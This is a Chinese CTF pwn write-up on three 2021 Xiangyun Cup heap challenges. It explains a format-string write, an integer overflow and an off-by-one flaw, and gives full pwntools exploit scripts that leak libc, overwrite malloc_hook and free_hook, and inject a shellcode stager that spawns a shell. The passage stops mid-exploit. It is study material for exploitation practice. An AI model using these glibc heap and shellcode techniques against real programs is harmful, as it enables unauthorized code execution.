【pwn】2021 祥云杯 (部分)
前言
国庆的最后几天,一直在补题,发现祥云杯那个时候一道堆题都不会,直接开始补题。
补题过程中,发现自己还是太菜了,对着师傅们的wp都有些不明白.jpg
1、note
这应该是祥云杯里最简单的题目了QAQ。但是之前没有学过IO,参考一位师傅写的这篇博客,pwn题堆利用的一些姿势 – IO_FILE
漏洞点在于scanf的格式化字符串,可以任意位置写。发现stack中有_IO_2_1_stdout_
那么,我们写入p64(0xfbad1800) + p64(0)*3来泄露libc,最后再用scanf的任意写,向malloc_hook中写入one_gadget,用realloc_hook调栈帧,从而getshell
exp如下
def cmd(idx):
sla(":",str(idx))
def add(size,content="a"):
cmd(1)
sla(":",str(size))
sla(":",content)
ru("0x")
return(i16(r(12)))
def say(buf,content):
cmd(2)
sa("?",buf)
sla("?",content)
say(b"%7$s",p64(0xfbad1800) + p64(0)*3)
libc.address = uu64(ru(b"\x7f",False)[-6:])-(0x7f2ee70626e0-0x7f2ee6c9f000)
leak("libc_base",libc.address)
malloc_hook = libc.sym["__malloc_hook"]
realloc_hook = malloc_hook-0x8
realloc = libc.sym['realloc']
ogs = og(libc.path)[1] + libc.address
leak("malloc_hook",malloc_hook)
say(b"%7$saaaa"+p64(realloc_hook),p64(ogs)+p64(realloc+0x8))
# dbg()
cmd(1)
sla(":","10")
ia()
2、JigSaw’sCage
这题首先需要得到一个具有可执行权限的chunk,通过v1的整数溢出来将v2改写
然后就是申请堆块写入shellcode,一段shellcode的最大长度为0x10
看了很多wp,有分很多小段写入shellcode的师傅,也有通过非常精妙的寄存器执行read函数再来执行的sh()的shellcode,这里用wjh师傅的超短shellcode
我们注意到test函数就是执行我们写入堆中的shellcode,并且是通过call rdx来调用,这里的rdx就是heap的地址,并且在call之前是将eax置为0了,而read函数的系统调用号也是0。
所以我们只需要来构建一个read(0,heap,0x1000),就可以向heap段写入0x1000大小的内容,并且具有可执行权限,所以直接向其中输入shellcraft.sh()就可以了,在这之前使用nop滑梯就完成了!
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# shellcode 最长0x10, 充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,并且 eax 给置 0
# 进行 0 号系统调用 read 读到我们正在执行的 heap 中0x1000大小
完整exp如下:
sla("Name:","woodwhale")
sla("Make your Choice:",str(u64(p32(0)+p32(15))))
# add 0
sla("Choice : ","1")
sla("Index? : ","0")
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
shellcode = asm(shellcode)
# edit 0
sla("Choice : ","2")
sla("Index? : ","0")
sla("iNput:",shellcode)
# test 0
sla("Choice : ","4")
sla("Index? : ","0")
# get shell
sl(b'\x90' * 0x10 + asm(shellcraft.sh()))
# dbg()
ia()
3、PassWordBox_FreeVersion
这题的话,有一个加密操作,用key和咱们box中的content进行xor加密,如果我们的content为空,那么就会输出key
这里用到add()函数中的一个off by one漏洞,真的是显而易见
因为这题的edit函数只能操作一次,所以我们需要给到一个free_chunk的fd指针改为一个hook
那么我们只能通过堆叠的操作来得到free_hook,并向其中写入system,最后free(“sh”)就能getshell了
完整exp如下:
# leak key
add("a",0x18,"\x00"*8+"\n") # 0
ru(" Save ID:")
key = uu64(r(8))
leak("key",key)
# 构造堆叠
add("1",0xf0,"\x00"*8+"\n") # 1
add("2",0x80,"\x00"*8+"\n") # 2
add("3",0x80,"\x00"*8+"\n") # 3
add("4",0xf0,"\x00"*8+"\n") # 4
for i in range(5,